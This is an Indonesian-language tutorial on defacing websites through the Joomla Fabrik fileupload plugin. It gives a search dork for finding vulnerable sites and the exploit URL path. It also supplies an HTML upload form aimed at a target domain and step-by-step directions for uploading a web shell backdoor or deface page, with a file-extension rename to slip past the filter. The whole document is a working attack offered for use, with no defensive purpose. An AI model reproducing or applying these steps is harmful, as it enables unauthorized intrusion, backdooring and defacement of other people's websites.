TUTORIAL DEFACH

#defach metode csrf

dede agil r

Sebelum deface sebaiknya kita mempersiapkan alat dan bahan
-Shell Backdoor IndoXploit OR Adewamini
-Script Deface (Saya rasa udah punya sendiri-sendiri)
-Dork

 -Inurl:index.php?Option=Com_Fabrik

-Exploit YA

 /index.php?option=com_fabrik&format=raw&task=plugin.pluginAjax&plugin=fileupload&method=ajax_upload

-CSRF
 AMBIL DISINIH SOB Di Sini

<form method="POST" action="http://site.co.il/index.php?option=com_fabrik&format=raw&task=plugin.pluginAjax&plugin=fileupload&method=ajax_upload" enctype="multipart/form-data">
 <input type="file" name="file" />
 <button>
  Upload
 </button>
</form>

1. Dorking ke gogle atau image seperti ngedork biasa. 

2. Masukkan exploit Contoh www.site.com//index.php?option=com_fabrik&format=raw&task=plugin.pluginAjax&plugin=fileupload&method=ajax_upload

3. Jika Vuln akan ada {"filepath":null,"uri":null} Seperti ITUH

4. Buka csrf pastekan atau tempel web dan exploit yg kita dapat

5. Buka csrf menggunakan browser. Uploadkan Shell or Backdoor atau Script Deface kalian, Script backdoor harus di bypass dulu. Bypass menjadi phtml